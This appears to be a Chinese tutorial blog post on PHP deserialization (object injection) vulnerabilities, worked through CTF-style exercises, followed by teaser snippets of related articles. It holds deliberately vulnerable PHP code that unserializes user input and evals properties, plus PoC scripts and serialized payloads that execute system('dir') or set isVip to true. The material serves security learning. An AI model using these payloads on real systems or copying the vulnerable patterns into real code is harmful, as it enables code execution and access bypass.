代码编织梦想

1、反序列化漏洞的产生

PHP反序列化漏洞又叫做PHP对象注入漏洞,是因为程序对输入的序列化后的字符串处理不当导致的。反序列化漏洞的成因在于代码中的unserialize()接收参数可控,导致代码执行,SQL注入,目录遍历,getshell等后果。

一句话讲晒就是: 反序列化漏洞是由于unserialize函数接收到了恶意的序列化数据篡改成员属性后导致的。

<?php

class xiaohua
{
    public $str = 'xiaohua';##成员变量,赋值

    function func()        //定义了成员方法
    {
        echo $this->str;        //调用str成员变量,并输出
        echo PHP_EOL;            //换行符
    }
}
    
$aa = new xiaohua;                //把类实体化为对象
$aa ->func();                    //在对象里,调用了func成员方法
//echo serialize(new xiaohua());    
$a ='O:7:"xiaohua":1:{s:3:"str";s:7:"chunerx";}';   //传参,给a赋值一串序列化后的字符串    
$b = unserialize($a);                                //反序列化变量a
print_r($b);
$b ->func();                                            ##漏洞出现的地方,序列化的字符串为    chunerx,没有调用类里的xiaohua,而是调用了xiaohua   (可控制的地方)

输出:

xiaohua
xiaohua Object
(
    [str] => chunerx
)
chunerx

练习一:

(把下面代码,写入phpstudy的web目录下,启动phpstudy,浏览器访问)

 <?php
error_reporting(0);
highlight_file(__FILE__);

class  xiaohua{
    public $str   =  'echo "benben";';
    function ben () {
        eval($this->str);
    }
}

$a = $_GET['benben'];
$b = unserialize($a);
$b ->ben();
?> 

 代码分析:定义了名为xiaohua的类,共有属性成员变量str,内容为'echo "benben";',定义了ben的成员方法,作用是把 xiaohua类中的str成员变量的内容(echo "benben")作为php代码自行。

类外,通过get方法,传参,反序列化$a为对象,在对象里调用了ben的成员方法。

POC思路:

<?php
class  xiaohua{
    public $str   =  'system("dir");';
}

$a = new xiaohua();
echo serialize($a);

输出:

O:7:"xiaohua":1:{s:3:"str";s:14:"system("dir");";}

原理:

原理上面也讲了,就是unserialize()方法,在接收到用户输入的序列化的代码后,调用了xiaohua这个类,但是在调用ben方法时,没有执行原本的代码(echo "benben"),而是执行了用户输入的代码(system("dir");),这就是漏洞的原理。

练习二:

 <?php
error_reporting(0);
highlight_file(__FILE__);
include ('flag.php');       // 包含同目录下的flag.php文件

class ctfshowUser{
    public $username='xxxx';    
    public $password='xxxx';
    public $isVip = false;                //默认isvip为false
    public function checkVip(){
        return $this->isVip;                //成员方法作用:检查isvip,为True返回1,为false返回0
    }

    public function login($u,$p){        //接收两个参数
        if($this->username===$u&&$this->password===$p){   //判断用户输入的用户和密码,是不是和规定的一样(username= xxxx,password=xxxx)
            $this->isVip=true;            //如果一样就把isvip改为true
        }
        return $this->isVip;               //不一样就返回默认的(false)
    }

    public function viponekeygetflag()        //方法作用:判断如果isvip为true,则调用$flag成员变量,输出$flag(flag.php文件中的flag)
    {
        if ($this->isVip) {
            global $flag;
            echo "your flag is " . $flag;
        } else {                            //否则,输出no vip,no flag
            echo "no vip ,no flag";
        }
    }
}

$username=$_GET['username'];        //通过get传参username
$password=$_GET['password'];        //通过get传参username


if(isset($username) && isset($password)){     //isset 判断有没有输入username和password ,有则返回一个执行下面的代码,没有停止。
    $user = new ctfshowUser();        //实体化对象
    if($user->login($username,$password)){        //调用了login方法,如果返回isvip=true执行下面的代码,否则执行else
        if($user->checkVip()){
            $user->viponekeygetflag();        //调用vipopenkey。。。方法        
        }
    }else{
        echo "no vip,no flag";
    }
} 

 思路:(就是你输入的要和规定了一样)

 练习二进阶:(反序列化)

 <?php
error_reporting(0);
highlight_file(__FILE__);
include ('flag.php');

class ctfshowUser{
    public $username='xxxx';
    public $password='xxxx';
    public $isVip = false;
    public function checkVip(){
        return $this->isVip;
    }

    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }

    public function viponekeygetflag()
    {
        if ($this->isVip) {
            global $flag;
            echo "your flag is " . $flag;
        } else {
            echo "no vip ,no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];


if(isset($username) && isset($password)){     //isset 判断有没有输入username和password ,有则返回一个1,没有返回空。
    $user = unserialize($_COOKIE['user']);        //通过cooike传参
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->viponekeygetflag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

这道题:

减少了用户输入username=xxxx&password=xxxx后,isvip状态不会更改为true(关键的地方)

POC思路:

<?php
error_reporting(0);
highlight_file(__FILE__);
include ('flag.php');

class ctfshowUser{
    public $username='xxxx';
    public $password='xxxx';
    public $isVip = true;
}

echo serialize(new ctfshowUser());

它不修改isvip状态,那我们自己修改(把isvip改为true)

把序列化后的字符串,通过cookie传参。

练习三

 __construct (new 对象的时候,触发)和__destruct(new 对象 和unserialize 触发)

如果new 对象时,__construct和__destruct都有,先执行__construct

 <?php
error_reporting(0);
highlight_file(__FILE__);

class index
{
    private $test;
    public function __construct()
    {
        $this->test=new normal();        //作用为 实体化normal类为对象
    }
    public function __destruct()
    {
        $this->test->action();            //作用 调用action方法(两个)
    }
}
class normal {
    public function action(){
        echo "please attack me";          // 这个action 是输出 一段字段串
    }
}
class evil {
    var $test2;
    public function action(){
        eval ($this->test2);            //把$test2中的字符串,作为php代码执行
    }
}
unserialize($_GET['test']);
?> 

 思路:

首先时反序列化漏洞,我们要构造序列化poc,所以我们得new,之后才能serialize,serialize会触发__construct。但是题目中触发的时new normal,normal直接输出please attack me。没有

所以我们让serialize 触发__construct后,让它去 new evil。

构造POC:

因为test成员变量为私有属性,所以poc代码需要urlencode,不然执行不了。

<?php
error_reporting(0);
highlight_file(__FILE__);

class index
{
    private $test;
    public function __construct()
    {
        $this->test=new evil();
    }
}

class evil {
    var $test2="system('dir');";
    public function action(){
        eval ($this->test2);
    }
}
$a = new index();
echo urlencode(serialize($a));
?>

 poc:

O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A14%3A%22system%28%27dir%27%29%3B%22%3B%7D%7D

输出

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_60463414/article/details/126323040

CTF之萌新反序列化学习-爱代码爱编程

反序列化 概念相关函数注意事项魔术方法+题目例题:flag.phpphp __wakeupphp Session例题phar反序列化(未完成)构造pop链例一:例二 概念 数据(变量)序列化(持久化) 将一个变量的数据“转换为”字符串,但并不是类型转换,目的是将该字符串储存在本地。相反的行为称为反序列化。 序列化和反序列化的目:使得程序间传输

PHP反序列化之练习题-爱代码爱编程

pikachu平台反序列化漏洞 第一题:反序列化漏洞输出XSS 地址:https://www.bihuoedu.com/vul/unserilization/unser.php 查看unser.php文件的源码:  <?php class S{ var $test = "pikachu"; function __const

python反序列化漏洞_【事件分析】No.10 影响深远的反序列化漏洞-爱代码爱编程

阅读: 1,806 序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,类ObjectInputStream类的readObject()方法用于反序列化。比如你可以将字符串对象先进行序列化,存储到本地文件

反序列化漏洞-爱代码爱编程

文章目录 一、序列化和反序列化1、序列化2、反序列化二、PHP序列化三、Java序列化格式1、JDK类库中序列化和反序列化API2、实现序列化的要求3、实现Java对象序列化与反序列化的方法4、JDK类库中序列化的步骤5、JDK类库中反序列化的步骤6、序列化和反序列化的示例四、什么是反序列化漏洞?五、挖掘反序列化漏洞六、反序列化漏洞的利用1、修改对

java rmi反序列化靶场_反序列化漏洞学习笔记+靶场实战-爱代码爱编程

反序列化漏洞学习笔记+靶场实战 反序列化漏洞相关知识点: (引自 i春秋网络安全学院文章) 什么是反序列化: 摘自维基百科:序列化(serialization)在计算机科学的数据处理中,是指将数据结构或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。 概念很容易

php反序列化漏洞 freebuf,入门Web需要了解的PHP反序列化漏洞-爱代码爱编程

前言 最近才开始学习安全,虽然练习过南邮CTF和Bugku的CTF,但是打各种线上CTF经常不尽人意,因为最近的比赛都有着一个新手入门CTF不常遇到的考点—————反序列化。 看了很多师傅们,各种前辈们的文章,于是想着总结一下已经学到的东西 在我当时PHP基本功不怎么扎实的时候,看反序列化就是一脸懵逼,所以我认为在接触反序列化漏洞之前需要掌握以下

PHP序列化以及反序列化漏洞-爱代码爱编程

什么是序列化 对象准换为字符串持久保存网络传输举例:$s = new Student();//创建一个对象echo $s->getName()."</br>";//调用类方法//serialize function$s_serialize = serialize($s);//对象转化为字符串print_r($s_serialize);/

反序列化学习之PHP反序列化&POP链构造-爱代码爱编程

反序列化学习(一) 前言 反序列化漏洞的学习贯穿了我的整个网安学习过程,从刚开始参加纳新考核到现在,反序列化的题目一直是难题,挡在学习的路上。 这次刷完了ctfshow的反序列化漏洞的相关题目,打算借这次机会重新总结一遍反序列化漏洞的相关知识。 反序列化漏洞的种类非常的多,在很多语言环境下你都会发现序列化储存信息的方式,所以反序列化漏洞也出现在了各

PHP反序列化字符串逃逸-爱代码爱编程

0x00 前提 掌握PHP反序列化的原理,序列化的对应内容及POP链构造。可参看: https://xz.aliyun.com/t/3674,https://xz.aliyun.com/t/6454 PHP的反序列化特点: 01.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 ,同时

PHP反序列化CTF例题-爱代码爱编程

渗透学习 不安全的反序列化之PHP反序列化 文章目录 渗透学习前言*本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任。*一、CTF例题二、PHP反序列化漏洞和XSS跨站脚本总结 前言 本系列用于记录本人渗透学习的过程,主要内容围绕Owasp TOP 10展开。 接上篇不安全的反序列化之反序列化基础用